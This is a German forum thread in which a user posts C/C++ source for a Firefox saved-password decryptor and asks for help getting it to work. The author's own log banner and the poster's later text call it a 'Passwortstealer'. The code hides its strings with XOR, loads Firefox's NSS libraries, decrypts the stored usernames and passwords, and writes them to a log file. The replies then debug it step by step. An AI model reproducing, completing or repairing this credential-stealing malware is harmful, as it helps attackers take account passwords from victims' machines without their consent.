[C/C++] Quelltext fehlerhaft / unvollständig! brauche Hilfe!

Dieses Thema im Forum "Programmierung & Entwicklung" wurde erstellt von IronSnake, 31. August 2008 .

  1. 31. August 2008
    Quelltext fehlerhaft / unvollständig! brauche Hilfe!

    Sooooo,
    hallo nochmal. Habe ja scho heute bissel mit ner XOR Encryption herum genervt =) .. jetzt möchte ich eigendlich zu meinem eigendlichen Problem kommen. Es geht halt um einen Firefox Decryptor der halt NICHt "ready to compile" ist. Sprich man muss noch paar kleine Fehler beseitigen und entsprechende dinge vervollständigen.

    Habe mich heute auch bissel damit auseinander gesetzt, doch langsam Stoße ich halt anmeine Grenzen und komme sicherlich nicht mehr ohne professionelle Hilfe weiter.

    Hier erstmal der originale Quelltext, ohne herum gewurschtel etc.

    Code:
    char *Xor_(char *pInput)
    {
     int Length = lstrlenA(pInput);
     for (int i = 0; i < Length; i++)
     pInput[i] ^= 0x0fa1c0;
     return pInput;
    }
    Code:
    int GetInstallPath(char *pOutput)
    {
     int Version;
     HWND hwnd;
     char AppData[MAX_PATH], ProfilePath[MAX_PATH], ProfileName[MAX_PATH], CompatibilityPath[MAX_PATH], Ver[MAX_PATH];
    
     ZeroMemory(pOutput, 128);
    
     if(!fSHGetSpecialFolderPath(hwnd, AppData, CSIDL_APPDATA, NULL))
     return 0;
    
     lstrcpyA(ProfilePath, AppData);
     lstrcatA(ProfilePath, /*"\\Mozilla\\Firefox\\profiles.ini"*/Xor_("\x9C\x9C\x8D\xAF\xBA\xA9\xAC\xAC\xA1\x9C\x9C\x86\xA9\xB2\xA5\xA6\xAF\xB8\x9C\x9C\xB0\xB2\xAF\xA6\xA9\xAC\xA5\xB3\xEE\xA9\xAE\xA9"));
    
     fGetPrivateProfileString(/*"Profile0"*/Xor_("\x90\xB2\xAF\xA6\xA9\xAC\xA5\xF0"),/*"Path"*/Xor_("\x90\xA1\xB4\xA8"), NULL, ProfileName, MAX_PATH, ProfilePath);
    
     wsprintfA(CompatibilityPath, "%s\\Mozilla\\Firefox\\%s\\compatibility.ini", AppData, ProfileName);
    
     for(int i = 0; i < lstrlenA(CompatibilityPath); i++)
     {
     if(CompatibilityPath[i]=='/')CompatibilityPath[i] = '\\';
     }
    
     if(fGetPrivateProfileString("Compatibility","LastPlatformDir",NULL, pOutput, MAX_PATH, CompatibilityPath)==NULL)
     if(fGetPrivateProfileString("Compatibility","LastAppDir",NULL, pOutput, MAX_PATH, CompatibilityPath)==NULL)
     return NULL;
    
    
     if(fGetPrivateProfileString("Compatibility","LastVersion",NULL, Ver, MAX_PATH, CompatibilityPath)==NULL)
     Version = 2;
     else
     Version = Ver[0]-'0';
    
     lstrcatA(pOutput,"\\");
    
     return Version;
    }
    Code:
    typedef struct TSECItem
    {
     DWORD SECItemType;
     LPSTR SECItemData;
     DWORD SECItemLen;
    } SECItem, *PSECItem;
    
    struct Data
    {
     char URL[256];
     char Username[256];
     char Password[256];
    };
    
    SECItem EncryptedSECItem, DecryptedSECItem;
    
    DWORD (__cdecl *NSS_Init)(LPSTR configdir);
    DWORD (__cdecl *NSSBase64_DecodeBuffer)(LPVOID arenaOpt, PSECItem outItemOpt, LPTSTR inStr, DWORD inLen);
    LPVOID (__cdecl *PK11_GetInternalKeySlot)();
    DWORD (__cdecl *PK11_Authenticate)(LPVOID pointer, bool loadCerts, LPVOID wincx);
    DWORD (__cdecl *PK11SDR_Decrypt)(PSECItem data, PSECItem result, LPVOID cx);
    VOID (__cdecl *NSS_Shutdown)();
    VOID (__cdecl *PK11_FreeSlot)(LPVOID pointer);
    
    const char *signons2_delimiter = "\x2E\x0D\x0A";
    const char *signons3_delimiter = "\x2d\x2d\x2d\x0d\x0a\x2e\x0D\x0A";
    
    
    void GetFireFoxPasswords()
    {
     HWND hwnd;
    
     char temp[MAX_PATH+1], InstallPath[MAX_PATH];
     HMODULE hNSSModule;
    
     char AppData[MAX_PATH], ProfilePath[MAX_PATH], ProfileName[MAX_PATH], SignonsPath[MAX_PATH], NSS_INITPARAM[MAX_PATH];
    
     HANDLE hFile, hLog;
     DWORD pFileSize, bytes;
    
     int Version, i;
    
     LPVOID KeySlot;
    
     Version = GetInstallPath(InstallPath);
    
     SetCurrentDirectoryA(InstallPath);
    
     i = lstrlenA(InstallPath);
     lstrcpyA(temp, InstallPath);
     lstrcatA(temp, /*"nspr4.dll"*/Xor_("\xAE\xB3\xB0\xB2\xF4\xEE\xA4\xAC\xAC"));
     if(LoadLibraryA(temp)==NULL)
     return;
    
     temp[i] = 0;
     lstrcatA(temp, /*"plc4.dll"*/Xor_("\xB0\xAC\xA3\xF4\xEE\xA4\xAC\xAC"));
     if(LoadLibraryA(temp)==NULL)
     return;
    
     temp[i] = 0;
     lstrcatA(temp, /*"plds4.dll"*/Xor_("\xB0\xAC\xA4\xB3\xF4\xEE\xA4\xAC\xAC"));
     if(LoadLibraryA(temp)==NULL)
     return;
    
     temp[i] = 0;
     lstrcatA(temp, /*"softokn3.dll"*/Xor_("\xB3\xAF\xA6\xB4\xAF\xAB\xAE\xF3\xEE\xA4\xAC\xAC"));
     if(LoadLibraryA(temp)==NULL)
     return;
    
     temp[i] = 0;
     lstrcatA(temp, /*"nss3.dll"*/Xor_("\xAE\xB3\xB3\xF3\xEE\xA4\xAC\xAC"));
     hNSSModule = LoadLibraryA(temp);
     if (hNSSModule == NULL)
     return;
    
     NSS_Init = (DWORD (__cdecl *)(LPSTR))GetProcAddress(hNSSModule, /*"NSS_Init"*/Xor_("\x8E\x93\x93\x9F\x89\xAE\xA9\xB4"));
     NSSBase64_DecodeBuffer = (DWORD (__cdecl *)(LPVOID, PSECItem, LPTSTR, DWORD))GetProcAddress(hNSSModule, /*"NSSBase64_DecodeBuffer"*/Xor_("\x8E\x93\x93\x82\xA1\xB3\xA5\xF6\xF4\x9F\x84\xA5\xA3\xAF\xA4\xA5\x82\xB5\xA6\xA6\xA5\xB2"));
     PK11_GetInternalKeySlot = (LPVOID (__cdecl *)())GetProcAddress(hNSSModule, /*"PK11_GetInternalKeySlot"*/Xor_("\x90\x8B\xF1\xF1\x9F\x87\xA5\xB4\x89\xAE\xB4\xA5\xB2\xAE\xA1\xAC\x8B\xA5\xB9\x93\xAC\xAF\xB4"));
     PK11_Authenticate = (DWORD (__cdecl *)(LPVOID, bool, LPVOID))GetProcAddress(hNSSModule, /*"PK11_Authenticate"*/Xor_("\x90\x8B\xF1\xF1\x9F\x81\xB5\xB4\xA8\xA5\xAE\xB4\xA9\xA3\xA1\xB4\xA5"));
     PK11SDR_Decrypt = (DWORD (__cdecl *)(PSECItem, PSECItem, LPVOID))GetProcAddress(hNSSModule, /*"PK11SDR_Decrypt"*/Xor_("\x90\x8B\xF1\xF1\x93\x84\x92\x9F\x84\xA5\xA3\xB2\xB9\xB0\xB4"));
     NSS_Shutdown = (VOID (__cdecl *)())GetProcAddress(hNSSModule, /*"NSS_Shutdown"*/Xor_("\x8E\x93\x93\x9F\x93\xA8\xB5\xB4\xA4\xAF\xB7\xAE"));
     PK11_FreeSlot = (VOID (__cdecl *)(LPVOID))GetProcAddress(hNSSModule, /*"PK11_FreeSlot"*/Xor_("\x90\x8B\xF1\xF1\x9F\x86\xB2\xA5\xA5\x93\xAC\xAF\xB4"));
    
     if(!fSHGetSpecialFolderPath(hwnd, AppData, CSIDL_APPDATA, NULL))
     return;
    
     lstrcpyA(ProfilePath, AppData);
     lstrcatA(ProfilePath, /*"\\Mozilla\\Firefox\\profiles.ini"*/Xor_("\x9C\x9C\x8D\xAF\xBA\xA9\xAC\xAC\xA1\x9C\x9C\x86\xA9\xB2\xA5\xA6\xAF\xB8\x9C\x9C\xB0\xB2\xAF\xA6\xA9\xAC\xA5\xB3\xEE\xA9\xAE\xA9"));
    
     fGetPrivateProfileString(/*"Profile0"*/Xor_("\x90\xB2\xAF\xA6\xA9\xAC\xA5\xF0"), /*"Path"*/Xor_("\x90\xA1\xB4\xA8"), NULL, ProfileName, MAX_PATH, ProfilePath);
    
     wsprintfA(SignonsPath, /*"%s\\Mozilla\\Firefox\\%s\\signons%i.txt"*/Xor_("\xE5\xB3\x9C\x9C\x8D\xAF\xBA\xA9\xAC\xAC\xA1\x9C\x9C\x86\xA9\xB2\xA5\xA6\xAF\xB8\x9C\x9C\xE5\xB3\x9C\x9C\xB3\xA9\xA7\xAE\xAF\xAE\xB3\xE5\xA9\xEE\xB4\xB8\xB4"), AppData, ProfileName, Version);
     wsprintfA(NSS_INITPARAM, /*"%s\\Mozilla\\Firefox\\%s"*/Xor_("\xE5\xB3\x9C\x9C\x8D\xAF\xBA\xA9\xAC\xAC\xA1\x9C\x9C\x86\xA9\xB2\xA5\xA6\xAF\xB8\x9C\x9C\xE5\xB3"), AppData, ProfileName);
    
     hFile = CreateFileA(SignonsPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0);
    
     if(hFile == INVALID_HANDLE_VALUE)
     return;
    
     pFileSize = GetFileSize(hFile, NULL);
    
     if (pFileSize <= 5)
     return;
    
     char* pFile= new char[pFileSize];
     char* pBuffer= new char[pFileSize];
     char GoesToFiles[256];
    
     ReadFile(hFile, pFile, pFileSize, &bytes, NULL);
     CloseHandle(hFile);
     strtok_(pFile, signons2_delimiter);
     pBuffer = strtok_(NULL,signons2_delimiter);
    
     if (NSS_Init(NSS_INITPARAM) == 0)
     {
     KeySlot = PK11_GetInternalKeySlot();
     if (KeySlot != 0)
     {
    
     hLog = CreateFileA("_logs.ini", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    
    
     WriteFile(hLog, "\n=====================================\n"
     "==========FF Password Recovery Tool by fa1c0==========\n"
     "=====================================\n\n", 116, &bytes, NULL);
    
     if (PK11_Authenticate(KeySlot, true, NULL) == 0)
     {
     int Length, pCount= 0;
    
     for(int times=0; times < lstrlenA(pBuffer); times++)
     if((pBuffer[times]==13)&&(pBuffer[times+1]==10)&&(pBuffer[times+2]=='.'))pCount++;
    
     Data *MyData = new Data[pCount];
    
     for(int lpCount = 0; lpCount < pCount; lpCount++)
     {
    
     Length = lstrlenA(pBuffer), i; 
     for (i = 0; i < Length; i++)
     {
     if (pBuffer[i] == 13 && pBuffer[i+1]== 10) break;
     else
     MyData[lpCount].URL[i] = pBuffer[i];
     }
    
     i += 2;
     while(!(pBuffer[i] == 13 && pBuffer[i + 1] == 10)) i++;
    
     i += 2;
     for (int j = 0; i < Length; i++, j++)
     {
     if (pBuffer[i] == 13 && pBuffer[i+1]== 10) break;
     else
     MyData[lpCount].Username[j] = pBuffer[i];
     }
    
     i += 2;
     while(!(pBuffer[i] == 13 && pBuffer[i + 1] == 10)) i++; 
    
     i += 2;
     for (int j = 0; i < Length; i++, j++)
     {
     if (pBuffer[i] == 13 && pBuffer[i+1]== 10) break;
     else
     MyData[lpCount].Password[j] = pBuffer[i];
     }
    
     if (Version == 2)
     {
     pBuffer = strtok_(NULL,signons2_delimiter);
     }
     else
     {
     if (Version== 3)
     {
     pBuffer = strtok_(NULL,signons3_delimiter);
     }
    
     }
    
    
     }
    
     for(int lpCount=0; lpCount < pCount; lpCount++)
     {
     WriteFile(hLog, "==================================================\n", 51, &bytes, NULL);
    
     wsprintfA(GoesToFiles, "URL: %s\n", MyData[lpCount].URL);
     WriteFile(hLog, GoesToFiles, lstrlenA(GoesToFiles), &bytes, NULL);
    
     NSSBase64_DecodeBuffer(NULL, &EncryptedSECItem, MyData[lpCount].Username, lstrlenA(MyData[lpCount].Username));
    
     long Return = PK11SDR_Decrypt(&EncryptedSECItem, &DecryptedSECItem, NULL);
    
     if (Return == 0)
     {
     lstrcpyA(MyData[lpCount].Username, DecryptedSECItem.SECItemData);
     MyData[lpCount].Username[DecryptedSECItem.SECItemLen] = 0;
     }
    
     wsprintfA(GoesToFiles, "Username: %s\n", MyData[lpCount].Username);
     WriteFile(hLog, GoesToFiles, lstrlenA(GoesToFiles), &bytes, NULL);
    
     NSSBase64_DecodeBuffer(NULL, &EncryptedSECItem, MyData[lpCount].Password, lstrlenA(MyData[lpCount].Password));
    
     Return = PK11SDR_Decrypt(&EncryptedSECItem, &DecryptedSECItem, NULL);
    
     if (Return == 0)
     {
     lstrcpyA(MyData[lpCount].Password, DecryptedSECItem.SECItemData);
     MyData[lpCount].Password[DecryptedSECItem.SECItemLen] = 0;
     }
    
     wsprintfA(GoesToFiles, "Password: %s\n", MyData[lpCount].Password);
     WriteFile(hLog, GoesToFiles, lstrlenA(GoesToFiles), &bytes, NULL);
     WriteFile(hLog, "==================================================\n\n", 52, &bytes, NULL);
    
     }
     }
     PK11_FreeSlot(KeySlot);
     }
     NSS_Shutdown;
     }
     CloseHandle(hLog);
    
     delete[] pFile;
     delete[] pBuffer;
    
     return;
    }

    Übrigens sollte nch erwähnt werden, dass dsa ganze von einem gewissen Herrn "fa1c0" programmiert wurde.

    Jetzt zu meinen Erkenntnissen. Also der erste Teil behandelt halt die nur die XOR DEcryption womit dann halt die ganzen Paths und DLL's der Teile 2 u. 3 entschlüsselt werden. Hab ich ja heut alles durch...^^

    Im 2. Part wird halt der Firefox Path unter Anwendungsdaten ermittelt und dazu noch aus der compatibility.ini die Version heraus gelesen. Diese Version wird dann zurück gegeben damit die in Part 3 weiter verarbeitet wird.

    Im 3. Part werden die Firefox Libarys in das Project eingebunden und die Entschlüsselungsroutinen auf Funktionspointer übertragen. Am ende wird halt entschlüsselt und eine LOG Datei erstellt.

    Jut im habe halt ein neues Leeres Project angelegt und erstmal wichtige HEADER Dateien eingebunden. Dazu gehören halt, "windows.h", "string.h" und die "shlobj.h" ! (Andere sind soweit ich richtig sehe nicht benötigt)

    Danach hab ich halt ein Auge auf die Funktionen "fSHGetSpecialFolderPath".. etc geworfen und die Funktion dann korrigirt in "SHGetSpecialfolder". Das gleiche gilt für die Funktion "strtok_"... diese habe ich in "strtok" umbenannt.

    Schön und gut. Danach kann es halt noch zu einem Initialisierungsfehler von "i" kommen wenn man nen älteren Compiler hat wo noch nich der neue For Scope Standard intergriert war. Da ich aber VS9 nutze, hat mich dsa Prob nicht grad gejuckt. Als nächstes habe ich halt eine "main" funktion angelegt die halt die Funktion "GetFireFoxPassword()" aufruft. Dies war denke mal auch der Fehler.. da soll sicherlich ne WinMain Funktion hin. Kenne mich da aber leider net so aus da ich noch nie WinAPI programmiert habe.

    Jedenfalls bekome ich die altbekannt "xxx.exe hat ein Fehler verursahct und musste beendet werden." Fehlermeldung nach dem Ausführen.

    Ürbrigens: Lt. Ersteller darf die Exe nicht im Kompiler ausgeführt werden, da diese dann crasht. Man sol se manuell im Projectordner starten.

    Hoffe ihr könnt mir da weiter helfen
     
  2. 1. September 2008
    AW: Quelltext fehlerhaft / unvollständig! brauche Hilfe!

    ob main() oder WinMain() is egal, bleib lieber bei main() das is einfacher

    und probier einfach mal, die exe zu debuggen (mit f10 starten und dann mit f10/f11 durchgehen, wo der fehler auftritt)
     
  3. 1. September 2008
    AW: Quelltext fehlerhaft / unvollständig! brauche Hilfe!

    Ok ich hab heute mal bissel weiter probiert und das ganze in meinen eigenen Quelltext intergriert wo ich halt selber und auf andere Art und Weise die Paths etc. ermittelt hab und bekam das dann auch Schritt für Schritt zum laufen.

    Der Fehler tritt an folgender stelle auf...

    Code:
    delete[] pFile;
    delete[] pBuffer;
    (ganz unten im Quelltext)

    und lautet:

    Naja jedenfalls gabs dann noch einen Fehler. Die Variable "NSS_INITPARAM" nicht auf den richtigen Path verwies.. sondenr am ende halt nen Backslash fehlte.

    Aufjednefall bin ich nun soweit gekommen das eine Log geschrieben wird und das Prog auch von A nach Z komplett abgearbeitet wird ohne abzukacken. Jedoch steht in der Log nix anderes als die tolle " Passwortstealer by Fa1c0" meldung drin.

    Dann hab ich mich halt genauer mit den Schleifen da auseinander gestezt die eben den Log schreiben sollen. Dabei ist mir im folgenden Codeabschnitt aufgefallen:

    Code:
    int Length, pCount= 0;
    for(int times=0; times < lstrlenA(pBuffer); times++)
     if((pBuffer[times]==13)&&(pBuffer[times+1]==10)&&(pBuffer[times+2]=='.'))pCount++;
    
     Data *MyData = new Data[pCount];
     cout << pCount;
     for(int lpCount = 0; lpCount < pCount; lpCount++)
     { 
     Length = lstrlenA(pBuffer), i; 
     for (i = 0; i < Length; i++)
     {
     if (pBuffer[i] == 13 && pBuffer[i+1]== 10) 
     { 
     cout << "breaked!";
     break;
     }
     else
     MyData[lpCount].URL[i] = pBuffer[i];
     cout << "\nWICHTIG!" << MyData[lpCount].URL[i] << "\n";
     }
    
     i += 2;
    .
    .
    .
    .
    Ich habe mir halt den Inhalt der ganzen Variablen ausgeben lassne die in der Schleife verwendet werden: So kam ich zu folgendem Ergebnis:

    lstrlenA(pBuffer) = 18
    pBuffer = 18
    times = 0 bis 17 (nach jeden Schleifendurchlauf um 1 mehr)

    So nun zur eigendlichen Variable die mich stört!

    pCount = bleibt bis zum ende der Schleife 0... somit wird der rest des Programmes nich abgearbeitet wo halt die ganzen URL#s.. benutzernamen und Passwörter an die Variablen übergeben werden!

    Das liegt definitiv an dieser Zeile!:

    Code:
    if((pBuffer[times]==13)&&(pBuffer[times+1]==10)&&(pBuffer[times+2]=='.'))
     {
     pCount++;
     }
    Habe mri mal dazu den Inhalt von pBuffer[times] und times ausgeben lassen:


    Times: 0 pBuffer[times]: h
    Times: 1 pBuffer[times]: t
    Times: 2 pBuffer[times]: t
    Times: 3 pBuffer[times]: p
    Times: 4 pBuffer[times]: :
    Times: 5 pBuffer[times]: /
    Times: 6 pBuffer[times]: /
    Times: 7 pBuffer[times]: c
    Times: 8 pBuffer[times]: o
    Times: 9 pBuffer[times]: n
    Times: 10 pBuffer[times]: s
    Times: 11 pBuffer[times]: o
    Times: 12 pBuffer[times]: l
    Times: 13 pBuffer[times]: e
    Times: 14 pBuffer[times]: w
    Times: 15 pBuffer[times]: a
    Times: 16 pBuffer[times]: r
    Times: 17 pBuffer[times]: s


    Von oben nach unten gelesen ergibt dsa ganze eine URL. Jetzt frag ich mich wie da zahlen heraus kommen sollen wi ein der Schleife beschrieben....

    Habe mir dann noch den pBuffer für times0 18 udn 19 ausgeben lassen... überall nix drin
     
  4. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.